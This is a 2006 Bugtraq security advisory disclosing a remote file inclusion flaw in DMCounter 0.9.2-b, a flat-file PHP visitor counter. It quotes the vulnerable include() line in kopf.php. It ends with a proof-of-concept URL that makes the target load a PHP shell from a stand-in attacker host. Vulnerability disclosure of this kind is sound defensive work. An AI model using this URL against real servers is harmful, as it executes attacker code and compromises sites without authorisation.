bugtraq - DMCounter Remote File Include

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Date: Mon, 1 May 2006 09:58:52 -0500
From: beford <xbefordx@...il.com>
To: bugs@...uritytracker.com, bugtraq@...urityfocus.com
Subject: DMCounter Remote File Include

Script: DMCounter
Version: 0.9.2-b
Language: PHP
Problem: Remote File Include
Vendor: http://sourceforge.net/projects/dmcounter
Discovered by: beford <xbefordx gmail com>

Description
=============
Statistics software based on PHP which does not require any database
support but just uses flat files. Daily + monthly visits, which pages, from
where, browsers and OSs are listed and visually presented

Problem
=============
A remote user can supply a specially crafted URL to cause the target
system to include and execute arbitrary PHP code from a remote
location. A remote user can execute arbitrary PHP code and operating
system commands on the target system with the privileges of the
target web service.

The vulnerable file is kopf.php

1 <?php
2 $basepath=getcwd();
3 include($rootdir.'/lang.php');

$rootdir is not being declared before using it in the include() function.

Proof of Concept URL
==============
http://victim.com/dmcounter/kopf.php?rootdir=http://attacker.com/phpshell.txt?

Greets:
==============
 ][GB][
 Zetha - http://odiameporsernegro.org
 uyx
 fallen - x33x37.org